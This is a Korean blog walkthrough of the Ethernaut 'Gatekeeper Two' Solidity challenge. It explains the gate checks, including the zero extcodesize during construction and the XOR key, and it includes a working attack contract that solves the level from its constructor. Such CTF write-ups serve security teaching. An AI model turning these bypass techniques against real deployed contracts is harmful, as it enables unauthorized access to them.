[ethernaut] Gatekeeper Two

wooz3k.eth·2023년 1월 3일
0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

이 문제는 개인적으로 Gatekeeper One 보다 쉬운 문제라고 생각한다.

gateOne()은 Gatekeeper One과 똑같은 조건이다. 페이로드 컨트렉트를 만들자.

gateTwo()assembly가 있어서 어렵게 보일 수 있는데 extcodesize(caller()) 가 무엇인지 yellow paper 11p 하단을 확인해보면 다음과 같은 내용이 있다.

During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while
CODESIZE should return the length of the initialization

즉, CA가 생성되는 과정 (constructor()) 에서 EXTCODESIZE는 0을 return 한다는 내용이다.

gateThree()는 XOR의 성질을 알면 쉽게 느껴질 것이다. A^B=C이면 A^C=B, B^C=A 모두 성립한다.

이 세가지 정보를 이용하여 페이로드 컨트렉트를 작성하여 문제를 해결하였다.

contract attack {
    constructor()
    {
        GatekeeperTwo target = GatekeeperTwo(0x6e4F986bD5d75ff79cEcA3f0371D4A13F0F33e7B);
        bytes8 _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
        target.enter(_gateKey);
    }
}
profile
Theori ChainLight Web3 Researcher

0개의 댓글